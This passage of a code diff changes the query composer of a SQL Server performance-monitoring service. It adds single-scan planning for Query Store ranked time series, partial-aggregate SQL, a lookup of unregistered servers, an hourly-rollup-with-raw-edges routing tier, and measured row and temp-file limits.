+    /// 1 GB limit. The single scan is taken only when <c>buckets x members</c> is at most
+    /// <see cref="ComposeLimits.MaxSingleScanBaseRows"/> (about 436 MB), and the bucket cap stays as the series-length bound.</para>
+    /// </summary>
+    private static bool PlanTakesSingleScan(PanelPlan plan, double windowBuckets, long? groupMembers) =>
+        plan.Mode == PanelMode.RankedTimeSeries
+        && string.Equals(plan.Measure.SourceTable, QueryStoreTable, StringComparison.Ordinal)
+        && plan.Overlay is null
+        && !plan.UsesModuleJoin
+        && windowBuckets > 0
+        && windowBuckets <= ComposeLimits.MaxSingleScanBuckets
+        && groupMembers.HasValue
+        && groupMembers.Value >= 0
+        && windowBuckets * groupMembers.Value <= ComposeLimits.MaxSingleScanBaseRows
+        && plan.GroupBy.All(dim => !dim.ViaModuleJoin && !dim.TrailingSpaceHistory && !s_unboundedGroupColumns.Contains(dim.Column))
+        && TryBuildPartialValueExpr(plan.Measure, plan.Aggregate, plan.Unit, new PartialColumns()) is not null;
+
+    /// <summary>The Query Store group columns with as many members as the fact rows have (#5582), which a single-scan base CTE
+    /// cannot bound: <c>query_hash</c> (one per statement). See <see cref="PlanTakesSingleScan"/>.</summary>
+    private static readonly string[] s_unboundedGroupColumns = { "query_hash" };
+
+    /// <summary>
+    /// Whether a Query Store RankedTimeSeries panel read through the wide table scans the fact rows twice (#5582): the rank and
+    /// the series each read them. The Query Store read guard counts that second scan against the statement timeout, so it asks
+    /// before the context exists, from the plan and the window alone. Any panel that is not a RankedTimeSeries reads them once.
+    /// Exact for a run on the wide route, the only route the guard checks; <see cref="CompileCore"/> takes the same decision.
+    /// <paramref name="groupMembers"/> is the same count the compile reads from <see cref="ComposeRunContext.QueryStoreGroupMembers"/>
+    /// (null: unknown, so two scans), so the guard's limit matches what compiles.
+    /// </summary>
+    internal static bool RankedTimeSeriesScansFactRowsTwice(PanelPlan plan, DateTime startUtc, DateTime endUtc, long? groupMembers)
+    {
+        if (plan is null)
+        {
+            throw new ArgumentNullException(nameof(plan));
+        }
+
+        if (plan.Mode != PanelMode.RankedTimeSeries)
+        {
+            return false;
+        }
+
+        var windowSeconds = (endUtc - startUtc).TotalSeconds;
+        var bucketSeconds = MeasureCatalog.BucketSeconds(MeasureCatalog.ResolveBucket(plan.TimeBucket, windowSeconds));
+        var buckets = bucketSeconds > 0 ? Math.Ceiling(windowSeconds / bucketSeconds) : 0d;
+        return !PlanTakesSingleScan(plan, buckets, groupMembers);
+    }
+
+    /// <summary>
+    /// <see cref="BuildValueExpr"/> over the base CTE's partial columns (#5582): the same <c>value</c>, built from partials
+    /// that combine exactly, or null when the aggregate does not decompose (the caller then compiles today's two-scan text).
+    /// The partials are computed over the fact rows of one (bucket, group); this expression re-combines them over any
+    /// set of those rows, so the rank (all buckets of a group) and the series (the rows of a bucket) read the same numbers
+    /// the fact-row aggregates did. Exactness, aggregate by aggregate:
+    /// <list type="bullet">
+    /// <item><c>SUM(bigint)</c> is numeric: a sum of numeric partial sums is the same numeric.</item>
+    /// <item><c>AVG(bigint)</c> is numeric division of the numeric sum by the non-null count. The partials are that sum and
+    /// <c>COUNT(col)</c> (not <c>COUNT(*)</c>: a NULL is not averaged); the combination divides the summed partials in numeric,
+    /// by the same division, and casts to double only at the end. A slice whose column is all NULL has a NULL sum and a zero
+    /// count and drops out; a group with no non-null value is NULL, as <c>AVG</c> is (the <c>NULLIF</c> keeps the zero
+    /// count from dividing).</item>
+    /// <item><c>MIN</c> and <c>MAX</c> of the partial minima and maxima; a NULL partial (every value NULL) is ignored.</item>
+    /// <item>The execution-weighted ratio and total: the per-row product <c>avg * execution_count</c> is summed (numeric) in
+    /// the partial exactly as the fact-row aggregate sums it, then summed again; the cast to double is at the same place.</item>
+    /// <item><c>COUNT(*)</c> is summed. <c>percentile_cont</c> has no partial: null.</item>
+    /// </list>
+    /// </summary>
+    private static string? TryBuildPartialValueExpr(ComposeMeasure measure, ComposeAggregate aggregate, string unit, PartialColumns partials)
+    {
+        string P(string name) => $"{partials.Alias}.{name}";
+
+        if (measure.Kind == MeasureKind.Ratio)
+        {
+            if (measure.RatioMode is not (MeasureRatioMode.Weighted or MeasureRatioMode.WeightedSum))
+            {
+                return null;
+            }
+
+            var product = partials.Add(PartialKind.Sum, a => $"{a}.{measure.WeightedValueColumn} * {a}.{measure.WeightColumn}");
+            string ratio;
+            if (measure.RatioMode == MeasureRatioMode.Weighted)
+            {
+                var weight = partials.Add(PartialKind.Sum, a => $"{a}.{measure.WeightColumn}");
+                ratio = $"(CAST(SUM({P(product)}) AS double precision) / NULLIF(SUM({P(weight)}), 0))";
+            }
+            else
+            {
+                ratio = $"CAST(SUM({P(product)}) AS double precision)";
+            }
+
+            return ApplyUnitConversion(ratio, measure.UnitFamily, measure.NativeUnit, unit);
+        }
+
+        if (aggregate == ComposeAggregate.Count)
+        {
+            return $"CAST(SUM({P(partials.Add(PartialKind.CountStar, null))}) AS double precision)";
+        }
+
+        /* A delta-family filter would have to ride on the partial; Query Store has none, so refuse the shape rather than
+           guess (MeasuredDeltaFilter is empty for it). */
+        if (MeasuredDeltaFilter(measure).Length > 0)
+        {
+            return null;
+        }
+
+        var columnName = measure.Archetype == MeasureArchetype.Cumulative ? measure.DeltaColumn! : measure.Column!;
+        string Column(char a) => $"{a}.{columnName}";
+        string native;
+        switch (aggregate)
+        {
+            case ComposeAggregate.Sum:
+                native = $"CAST(SUM({P(partials.Add(PartialKind.Sum, Column))}) AS double precision)";
+                break;
+            case ComposeAggregate.Avg:
+                {
+                    var sum = partials.Add(PartialKind.Sum, Column);
+                    var count = partials.Add(PartialKind.Count, Column);
+                    native = $"CAST(SUM({P(sum)}) / NULLIF(SUM({P(count)}), 0) AS double precision)";
+                    break;
+                }
+
+            case ComposeAggregate.Min:
+                native = $"CAST(MIN({P(partials.Add(PartialKind.Min, Column))}) AS double precision)";
+                break;
+            case ComposeAggregate.Max:
+                native = $"CAST(MAX({P(partials.Add(PartialKind.Max, Column))}) AS double precision)";
+                break;
+            default:
+                return null;
+        }
+
+        return ApplyUnitConversion(native, measure.UnitFamily, measure.NativeUnit, unit);
+    }
+
     /// <summary>Scales <paramref name="expr"/> (already a double) from <paramref name="nativeUnit"/> to
     /// <paramref name="requestedUnit"/> within <paramref name="familyName"/>: <c>value * factorNative /
     /// factorRequested</c>. A no-op when the units match. Factors are compile-time family constants.</summary>
diff --git a/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeServerScope.cs b/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeServerScope.cs
new file mode 100644
index 0000000000..35e2937f90
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeServerScope.cs
@@ -0,0 +1,86 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The runner-side half of the composer's server scope (#5525). The compiler scopes every fact read by
+/// <c>server_id</c> (see <see cref="ComposeCompiler.ServerScope"/>), resolving the scoped names through the registry inside the
+/// SQL. A name with no registry row resolves to no id, so a scope that named one would stop matching the rows written under it.
+/// This finds those names before the compile, so the compiler can keep matching them on the row's stored <c>server_name</c> and
+/// a scope over a name that was never registered (or was removed) still returns what it returned before. The lookup is one read of
+/// the small registry table (its only key is <c>server_id</c>; there is no index on <c>server_name</c>, and none is needed at fleet
+/// size); it runs once per run, not per read, and its result is <see cref="ComposeRunContext.UnregisteredServers"/>.
+/// <para>What a scoped name means is stated on <see cref="ComposeCompiler.ServerScope"/>: the server or servers the registry holds
+/// under that name now, with all their rows.</para>
+/// </summary>
+internal static class ComposeServerScope
+{
+    /// <summary>The scoped names that no <c>collect.servers</c> row carries (exact, case-sensitive: the match the SQL scope uses).
+    /// $1 is the distinct scoped names.</summary>
+    internal const string FindUnregisteredSql =
+        "SELECT n FROM unnest($1::text[]) AS n WHERE NOT EXISTS (SELECT 1 FROM collect.servers AS s WHERE s.server_name = n)";
+
+    /// <summary>
+    /// The unregistered subset of <paramref name="servers"/>, or null when the scope is the whole fleet or every name is registered
+    /// (the common case, and the one whose SQL carries no extra branch). A fault answers with ALL the names: a name matched by
+    /// stored <c>server_name</c> as well as by id still returns everything the old scope returned, so a store that cannot answer the
+    /// lookup costs the old read's price, never a missing server; the fault is logged as a warning. A cancelled run is not a fault and
+    /// propagates.
+    /// <para><paramref name="onLookupFailed"/> is called when the lookup faulted, so a caller that must tell "every name is unregistered" from
+    /// "the registry could not be read" (the web panel run's unknown-server answer, W13) can; the returned names are the same either way.</para>
+    /// <para>The lookup runs outside the read's own transaction (and outside the hourly-edges snapshot). If a re-connect renames a
+    /// registry row between the lookup and the read, that one run can miss the rows stored under the old name, because the lookup saw
+    /// the name as registered and the read no longer resolves it to an id. The next run is right.</para>
+    /// </summary>
+    public static async Task<IReadOnlyList<string>?> FindUnregisteredAsync(
+        NpgsqlDataSource postgres, IReadOnlyList<string>? servers, CancellationToken cancellationToken, ILogger? logger = null,
+        Action? onLookupFailed = null)
+    {
+        if (servers is not { Count: > 0 })
+        {
+            return null;
+        }
+
+        var names = servers.Distinct(StringComparer.Ordinal).ToArray();
+        try
+        {
+            await using var command = postgres.CreateCommand(FindUnregisteredSql);
+            command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            command.Parameters.Add(new NpgsqlParameter
+            {
+                NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Text,
+                Value = names,
+            });
+            var missing = new List<string>();
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                missing.Add(reader.GetString(0));
+            }
+
+            return missing.Count == 0 ? null : missing;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger?.LogWarning(
+                "Compose server-scope lookup failed ({Message}); the read matches the scoped names on the stored server name as well as by id",
+                ex.Message);
+            onLookupFailed?.Invoke();
+            return names;
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSourceRouter.cs b/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSourceRouter.cs
index 9a29ad3542..dd66d1e9cb 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSourceRouter.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSourceRouter.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Linq;
 using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service;
@@ -24,19 +25,34 @@ public enum ComposeSourceTier
 
     /// <summary>The daily continuous aggregate (<c>collect.&lt;table&gt;_daily</c>).</summary>
     Daily,
+
+    /// <summary>A SUM/MAX/MIN panel whose whole middle hours come from the interval-honest hourly successor, with
+    /// the restart rows of those hours and both partial-hour edges read from raw. It is taken only when a
+    /// count-guard verdict proves the successor holds exactly what raw holds for those hours. It is not a
+    /// rollup read on its own (<see cref="ComposeRoute.IsCagg"/> is false): everything but the FROM item
+    /// compiles as raw.</summary>
+    HourlyRawEdges,
 }
 
 /// <summary>
 /// The routing decision for one panel: which tier to read and the relation/time-column that implies. The raw tier
 /// carries no relation (the compiler keeps its existing <c>SourceTable</c> + prefix-time-column path); a CAGG tier
 /// names the rollup view, whose time column is always the <c>bucket</c> the CAGG produced.
+///
+/// <para><paramref name="StitchBoundaryUtc"/> is the instant a stitched <paramref name="CaggFromClause"/> splits at
+/// (<see cref="RollupCoverage.StitchFloor"/>): the superseded rollup is read below it and its successor from it up. It
+/// is null when the clause names one relation. It is carried as a value, set where the router builds the clause, so
+/// the data-start probe reads the successor over the same range the panel does.</para>
 /// </summary>
-public sealed record ComposeRoute(ComposeSourceTier Tier, string? CaggRelation, string? CaggFromClause = null)
+public sealed record ComposeRoute(ComposeSourceTier Tier, string? CaggRelation, string? CaggFromClause = null, DateTime? StitchBoundaryUtc = null,
+    DateTime? EdgeStartUtc = null, DateTime? EdgeEndUtc = null)
 {
     /// <summary>The raw route — the compiler's unchanged behaviour.</summary>
     public static readonly ComposeRoute Raw = new(ComposeSourceTier.Raw, null);
 
-    public bool IsCagg => Tier != ComposeSourceTier.Raw;
+    /// <summary>True for a route that reads a rollup alone (<c>Hourly</c>, <c>Daily</c>). <see cref="ComposeSourceTier.HourlyRawEdges"/>
+    /// reads raw outside its middle hours, so it is not a CAGG route.</summary>
+    public bool IsCagg => Tier is ComposeSourceTier.Hourly or ComposeSourceTier.Daily;
 
     /// <summary>Every CAGG's time dimension is the <c>time_bucket(...) AS bucket</c> column.</summary>
     public const string CaggTimeColumn = "bucket";
@@ -44,8 +60,44 @@ public sealed record ComposeRoute(ComposeSourceTier Tier, string? CaggRelation,
     /// <summary>The compiler's fact-table alias every CAGG <see cref="CaggFromClause"/> is built with (#3653
     /// A6): <c>f</c>, matching <c>ComposeCompiler.FactAlias</c>.</summary>
     public const string FactAlias = "f";
+
+    /// <summary>The rollup-side alias of the whole-hour middle inside the hourly-raw-edges FROM item.</summary>
+    public const string HybridMidAlias = "mid";
 }
 
+/// <summary>The column map the hourly-raw-edges FROM item projects. Group columns and delta columns are named
+/// the same in raw and in the interval-honest hourly successors (<c>collect.query_stats_interval_hourly</c>,
+/// <c>collect.procedure_stats_interval_hourly</c>), so one SELECT list serves every arm.</summary>
+internal static class ComposeHybridColumns
+{
+    /// <summary>The successor's group columns, per raw table.</summary>
+    public static readonly IReadOnlyDictionary<string, string[]> GroupColumns = new Dictionary<string, string[]>(StringComparer.Ordinal)
+    {
+        ["query_stats"] = new[] { "server_id", "server_name", "database_name", "query_hash", "sql_handle" },
+        ["procedure_stats"] = new[] { "server_id", "server_name", "database_name", "schema_name", "object_name" },
+    };
+
+    /// <summary>Raw delta column to the successor's base name; the successor holds <c>&lt;base&gt;_sum</c>,
+    /// <c>&lt;base&gt;_max</c> and <c>&lt;base&gt;_min</c> for each.</summary>
+    public static readonly IReadOnlyDictionary<string, string> Measures = new Dictionary<string, string>(StringComparer.Ordinal)
+    {
+        ["delta_worker_time"] = "worker_time",
+        ["delta_elapsed_time"] = "elapsed_time",
+        ["delta_execution_count"] = "execution_count",
+    };
+}
+
+/// <summary>A window the hourly-raw-edges route could serve: the source, its interval-honest hourly successor,
+/// and the whole-hour middle <c>[HourStartUtc, HourEndUtc)</c> the successor would answer.</summary>
+public sealed record ComposeHourlyEdgesCandidate(string SourceTable, string SuccessorView, DateTime HourStartUtc, DateTime HourEndUtc);
+
+/// <summary>A count guard's proof for one candidate: the successor's per-(server, hour) row counts matched raw's
+/// over <c>[HourStartUtc, HourEndUtc)</c>. The route is taken only when the verdict matches the candidate.
+/// <c>Servers</c> is the server scope the guard proved: a proof for one scope says nothing about another, so the
+/// compiler also requires it to equal the run's scope (see <see cref="ComposeSourceRouter.NormalizeServerScope"/>).
+/// Null means the whole fleet.</summary>
+public sealed record ComposeHourlyEdgesVerdict(string SourceTable, DateTime HourStartUtc, DateTime HourEndUtc, IReadOnlyList<string>? Servers);
+
 /// <summary>One raw table's continuous-aggregate coverage: its hourly (and optional daily) rollup view names and
 /// the dimensions those rollups are grouped by — the set a panel's group-by/filter dimensions must be a subset of
 /// to route (the universal <c>server</c> dimension always qualifies, since server_id/server_name lead every CAGG's
@@ -149,6 +201,14 @@ public static class ComposeSourceRouter
     /// viewer's built-in tabs route off the same value.</summary>
     public static readonly TimeSpan RawRouteMaxAge = RetentionTierRouter.RawMaxAge;
 
+    /// <summary>The sources the hourly-raw-edges route is enabled for. Only <c>query_stats</c> has been measured
+    /// against its raw read, so <c>procedure_stats</c> (mapped in <see cref="ComposeHybridColumns"/>) stays out.</summary>
+    internal static readonly IReadOnlySet<string> HourlyRawEdgesEnabledSources =
+        new HashSet<string>(StringComparer.Ordinal) { "query_stats" };
+
+    private static readonly TimeSpan HourlyRawEdgesMinWindow = TimeSpan.FromHours(12);
+    private static readonly TimeSpan HourlyRawEdgesEndSlack = TimeSpan.FromMinutes(1);
+
     /// <summary>The hourly CAGG is chosen up to this age — a day inside the 90-day (#1937) hourly retention; older windows
     /// fall to the daily CAGG (or stay on the hourly, capped, when no daily CAGG exists yet). Aliases the shared
     /// definition (#1661).</summary>
@@ -294,7 +354,13 @@ private static (ComposeRoute Route, DateTime? FloorUtc) PreferDayGrainDaily(
             return resolved;
         }
 
-        var dayGrain = (Route: new ComposeRoute(ComposeSourceTier.Daily, cagg.DayGrainDailyView),
+        /* The day-grain daily has no successor to stitch to, so its FROM clause is the one relation. It is set here,
+           like every other rollup route's, because the data-start probe reads the relations a panel read off that
+           clause; compiled, it is the same text the compiler built from the name alone (" AS f" appended). */
+        var dayGrain = (Route: new ComposeRoute(
+                            ComposeSourceTier.Daily,
+                            cagg.DayGrainDailyView,
+                            $"{PgSchemaGenerator.CollectSchema}.{cagg.DayGrainDailyView} AS {ComposeRoute.FactAlias}"),
                         FloorUtc: coverage.FloorOf(cagg.DayGrainDailyView));
 
         if (TierCoverage.Covers(dayGrain.FloorUtc, windowStartUtc))
@@ -346,11 +412,14 @@ its own interval-honest successor daily at F_d — the tier CHOICE itself stays
                the FROM-clause item the compiler actually splices in, which may stitch the legacy hourly to its
                interval-honest successor. With no successor this is byte-identical to
                "collect.<hourlyView> AS f" — the same text the old CaggRelation-only path produced once the
-               compiler appended " AS f" itself. */
+               compiler appended " AS f" itself. The route also carries the stitch boundary as a value
+               (RollupCoverage.StitchFloor, the F the clause splits at, null when the clause names one relation),
+               so the data-start probe reads the successor from that boundary up, as the panel does. */
             RetentionTier.Hourly => (new ComposeRoute(
                 ComposeSourceTier.Hourly,
                 coverage.HourlyRelationNameFor(hourlyView, windowStartUtc),
-                coverage.StitchedRelationSql(hourlyView, ComposeRoute.FactAlias, windowStartUtc, RollupCoverage.StitchTier.Hourly)),
+                coverage.StitchedRelationSql(hourlyView, ComposeRoute.FactAlias, windowStartUtc, RollupCoverage.StitchTier.Hourly),
+                coverage.StitchFloor(hourlyView, RollupCoverage.StitchTier.Hourly, windowStartUtc)),
                 tierCoverage.HourlyFloorUtc),
             /* #3653 A6: same shape as the hourly arm above, but StitchTier.Daily — the successor daily's own
                floor and its successor hourly's ceiling-of-day decide F_d (RollupCoverage.StitchedRelationSql).
@@ -358,8 +427,136 @@ compiler appended " AS f" itself. */
             _ => (new ComposeRoute(
                 ComposeSourceTier.Daily,
                 dailyView!,
-                coverage.StitchedRelationSql(dailyView!, ComposeRoute.FactAlias, windowStartUtc, RollupCoverage.StitchTier.Daily)),
+                coverage.StitchedRelationSql(dailyView!, ComposeRoute.FactAlias, windowStartUtc, RollupCoverage.StitchTier.Daily),
+                coverage.StitchFloor(dailyView!, RollupCoverage.StitchTier.Daily, windowStartUtc)),
                 tierCoverage.DailyFloorUtc),
         };
     }
+
+    /// <summary>
+    /// The hourly-raw-edges candidate for a panel whose window ends now, or null. Null unless every gate holds:
+    /// <see cref="Resolve"/> chose raw; the source is enabled; every measure is a cumulative delta column the
+    /// successor holds; the aggregate is Sum, Max or Min (an overlay must match source and aggregate); the mode is
+    /// Ranked or Scalar, or a time series bucketed by hour or day; every grouped or filtered dimension is a
+    /// successor column or a module-join dimension whose fallback column the successor holds; the successor
+    /// exists, reaches back to the first whole hour, and has a measured ceiling; the whole-hour middle is at
+    /// least an hour; the window ends within a minute of now; and it spans at least 12 hours.
+    ///
+    /// <para>The <c>statement</c> dimension qualifies: its group expression is
+    /// <c>COALESCE(m.object_name, f.query_hash)</c> (the module join plus the <c>query_hash</c> fallback), and
+    /// both are available to every arm.</para>
+    /// </summary>
+    public static ComposeHourlyEdgesCandidate? HourlyRawEdgesCandidate(
+        PanelPlan plan, DateTime nowUtc, DateTime windowStartUtc, DateTime windowEndUtc,
+        RollupAvailability rollups, RollupCoverage coverage)
+    {
+        ArgumentNullException.ThrowIfNull(plan);
+        ArgumentNullException.ThrowIfNull(coverage);
+
+        if (Resolve(plan, nowUtc, windowStartUtc, rollups, coverage).Tier != ComposeSourceTier.Raw)
+        {
+            return null;
+        }
+
+        var source = plan.Measure.SourceTable;
+        if (!HourlyRawEdgesEnabledSources.Contains(source) || !ComposeHybridColumns.GroupColumns.TryGetValue(source, out var groupColumns))
+        {
+            return null;
+        }
+
+        if (!IsHourlyEdgesMeasure(plan.Measure) || plan.Aggregate is not (ComposeAggregate.Sum or ComposeAggregate.Max or ComposeAggregate.Min))
+        {
+            return null;
+        }
+
+        if (plan.Overlay is ComposeOverlay overlay
+            && (overlay.Measure.SourceTable != source || overlay.Aggregate != plan.Aggregate || !IsHourlyEdgesMeasure(overlay.Measure)))
+        {
+            return null;
+        }
+
+        if (plan.Mode is not (PanelMode.Ranked or PanelMode.Scalar))
+        {
+            var bucket = MeasureCatalog.ResolveBucket(plan.TimeBucket, (windowEndUtc - windowStartUtc).TotalSeconds);
+            if (bucket is not (ComposeTimeBucket.Hour or ComposeTimeBucket.Day))
+            {
+                return null;
+            }
+        }
+
+        foreach (var dimension in plan.GroupBy.Concat(plan.Filters.Select(f => f.Dimension)))
+        {
+            var readsMapped = dimension.ViaModuleJoin
+                ? dimension.FallbackColumn is null || Array.IndexOf(groupColumns, dimension.FallbackColumn) >= 0
+                : Array.IndexOf(groupColumns, dimension.Column) >= 0;
+            if (!readsMapped)
+            {
+                return null;
+            }
+        }
+
+        var cagg = ComposeCaggCatalog.For(source);
+        if (cagg is null)
+        {
+            return null;
+        }
+
+        var successor = TimescaleSupport.SuccessorOf(cagg.HourlyView);
+        if (successor is null || !rollups.Has(successor))
+        {
+            return null;
+        }
+
+        var hStart = CeilHour(windowStartUtc);
+        if (coverage.FloorOf(successor) is not DateTime floor || floor > hStart)
+        {
+            return null;
+        }
+
+        if (coverage.CeilingOf(successor) is not DateTime ceiling)
+        {
+            return null;
+        }
+
+        var hEnd = Min(FloorHour(windowEndUtc), FloorHour(ceiling));
+        if (hEnd - hStart < TimeSpan.FromHours(1))
+        {
+            return null;
+        }
+
+        if (nowUtc - windowEndUtc > HourlyRawEdgesEndSlack)
+        {
+            return null;
+        }
+
+        if (windowEndUtc - windowStartUtc < HourlyRawEdgesMinWindow)
+        {
+            return null;
+        }
+
+        return new ComposeHourlyEdgesCandidate(source, successor, hStart, hEnd);
+    }
+
+    /// <summary>The one reading of a server scope for the hourly-raw-edges proof: null or empty is the whole fleet
+    /// (null), anything else is the list as given. The runner binds the count guard's <c>$3</c> from this in a later
+    /// change, and the compiler matches a verdict's scope against the run's scope with it now, so an empty array can
+    /// never be proven as "no servers" and then read as the fleet.</summary>
+    public static IReadOnlyList<string>? NormalizeServerScope(IReadOnlyList<string>? servers)
+    {
+        return servers is { Count: > 0 } ? servers : null;
+    }
+
+    private static bool IsHourlyEdgesMeasure(ComposeMeasure measure) =>
+        measure.Kind != MeasureKind.Ratio
+        && measure.Archetype == MeasureArchetype.Cumulative
+        && measure.AggregationColumn is string column
+        && ComposeHybridColumns.Measures.ContainsKey(column);
+
+    private static DateTime CeilHour(DateTime value) =>
+        value == FloorHour(value) ? value : FloorHour(value).AddHours(1);
+
+    private static DateTime FloorHour(DateTime value) =>
+        new(value.Year, value.Month, value.Day, value.Hour, 0, 0, value.Kind);
+
+    private static DateTime Min(DateTime a, DateTime b) => a < b ? a : b;
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSpec.cs b/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSpec.cs
index 6cdeafe07e..0149f18dee 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSpec.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSpec.cs
@@ -29,6 +29,67 @@ public static class ComposeLimits
     /// bucket over a long window from fanning out to hundreds of thousands of buckets.</summary>
     public const int MaxBuckets = 5_000;
 
+    /// <summary>
+    /// The most Query Store wide-table rows (<c>collect.query_store_interval_wide</c>) one composed panel that reads them ONCE may be
+    /// expected to read (#5582), judged from the daily summary's row counts BEFORE the statement runs; over it the panel is refused
+    /// with a message that says what to narrow. Measured on a large production store: a cold read of 8,457,483 rows took 55.2 s,
+    /// which is 6.53 us per row. The budget is 45 s, 75% of the 60 s <see cref="StatementTimeout"/>, because three cold runs of the
+    /// same store differed by 14% (5.71 to 6.53 us per row) while autovacuum was busy on it. 45 s at 6.53 us is 6.89 million rows,
+    /// rounded down to 6.8 million. The previous limit, 9.4 million rows, would take 61.4 s cold at that rate, so it was over the
+    /// timeout. One constant, so the value is adjusted in one place from a store measurement.
+    /// </summary>
+    public const long MaxQueryStoreWideRows = 6_800_000;
+
+    /// <summary>
+    /// The most wide-table rows a panel that reads them TWICE may be expected to read (#5582): a RankedTimeSeries panel that
+    /// still compiles the two-scan text (a <c>query_hash</c> group, a series past <see cref="MaxSingleScanBuckets"/> buckets, or
+    /// one whose bucket x member product passes <see cref="MaxSingleScanBaseRows"/>). The same 45 s budget over 8.19 us per row:
+    /// 6.53 us for the cold first scan, 0.13 us for the hash aggregate, and 1.54 us for the second scan, which was measured WARM
+    /// (the rank-measure text took 19.2 s over 8.37 million rows, and the first scan alone 6.4 s warm). Warm is the right basis for
+    /// the second scan because it reads the same pages seconds after the first, through shared buffers (a bitmap heap scan has no
+    /// ring buffer), and 5.4 million wide rows is about 6 GB, under that store's 8 GB of shared_buffers. 45 s over 8.19 us is
+    /// 5.49 million, rounded down to 5.4 million. Halving the one-scan limit (3.4 million) would refuse the flagship "top 10
+    /// queries over time, fleet, one day" panel on any day about 8% busier than the measured one. What is still at risk: a store
+    /// whose memory cannot hold the window's pages. There a panel near this limit takes about 71 s and stops at the 60 s
+    /// timeout, as it did before #5582. The guard improves the message; <c>statement_timeout</c> and <c>temp_file_limit</c> remain
+    /// the safety limits, and neither changes.
+    /// </summary>
+    public const long MaxQueryStoreWideRowsTwoScans = 5_400_000;
+
+    /// <summary>
+    /// The weight of an hour served from the rollup of the wide table (<c>collect.query_store_compose_stamp</c>), against 1.0
+    /// for an hour read from the wide table itself (#5582). An estimate: the closest measurement is a read at the composer's grain
+    /// of 7,040,921 rows of 205 bytes, which took 5.493 s warm, 1.556 s of it I/O. That read is 0.02505 blocks per row; at 22,121
+    /// blocks per second (the cold wide read's rate) that is 1.13 us of I/O per row, and the CPU is (5.493 - 1.556) s over 7.04
+    /// million rows, 0.56 us per row. Scaled for a 240-byte rollup row against 205, that is about 1.89 us per rollup row. A rollup
+    /// row stands for 1.17 wide rows, so it is 1.61 us per wide row, and 1.61 / 6.53 is 0.25, rounded up to 0.3. A fleet day with
+    /// a 2.5-hour tail on the wide table is 0.88 million wide rows plus 0.3 x 7.57 million, 3.15 million equivalent rows: it passes
+    /// both limits (about 21 s cold for one scan, about 33 s for two). Two days is 5.7 million (one scan passes, two scans are
+    /// refused) and three days is 8.2 million (refused).
+    /// </summary>
+    public const double StampRowWeight = 0.3;
+
+    /// <summary>
+    /// The most rows a single-scan RankedTimeSeries base CTE may hold (#5582): buckets x members of the group dimension. The
+    /// single-scan text writes about 436 bytes of temp file per base row (measured on a large production store in its worst shape,
+    /// a <c>query_hash</c> group: 1,021,784 kB for 2,397,235 base rows), against <see cref="TempFileLimit"/> of 1 GB. At one
+    /// million base rows that is about 436 MB, 43% of the limit, and the bound is high because fewer groups spill less per group.
+    /// At 24 hour buckets it allows about 41,600 members; at 100 buckets, 10,000.
+    /// </summary>
+    public const long MaxSingleScanBaseRows = 1_000_000;
+
+    /// <summary>
+    /// The most buckets a Query Store RankedTimeSeries panel may span and still read the wide table once (#5582). The
+    /// single-scan statement holds one row per (bucket, group) in a CTE, and the field measured that row at 436 bytes of temp file
+    /// (the materialized CTE, the sort or hash spill that builds it, and the rank's own re-aggregation; the rig's earlier figure
+    /// of 150 to 180 bytes was wrong) against <see cref="TempFileLimit"/> of 1 GB. So 100 buckets x 30 thousand members (the module
+    /// names of a large fleet), 3 million rows, would write about 1.3 GB and fail. The rows are at most buckets x members, and
+    /// <see cref="MaxSingleScanBaseRows"/> bounds that product; this constant bounds the series length alone. A longer series, or a
+    /// <c>query_hash</c> group (one member per statement, as many as the fact rows), compiles the two-scan text instead: its temp
+    /// use follows the group count alone.
+    /// </summary>
+    public const int MaxSingleScanBuckets = 100;
+
     /// <summary>The ceiling on a ranked panel's <c>topN</c> (mirrors the read surface's row clamp).</summary>
     public const int MaxTopN = 1_000;
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeStoreAvailability.cs b/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeStoreAvailability.cs
index 673daaa960..85ae7f7318 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeStoreAvailability.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Compose/ComposeStoreAvailability.cs
@@ -7,11 +7,14 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.Globalization;
 using System.Linq;
 using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using Npgsql;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Darling.Storage;
@@ -241,7 +244,9 @@ so GetMeasuredRollupsAsync can refuse to route on it. */
     /// without the extension no retention policy ever drops raw, so raw holds the complete answer (#1665).
     /// Scoped to the TIERED tables (<see cref="ComposeCaggCatalog"/>): every other source reaches Raw via
     /// the no-CAGG early return and lives on the 30-day collector purge, not the 4-day tier — a 7-day
-    /// wait_stats panel is complete on raw, and a notice there would be a false alarm.
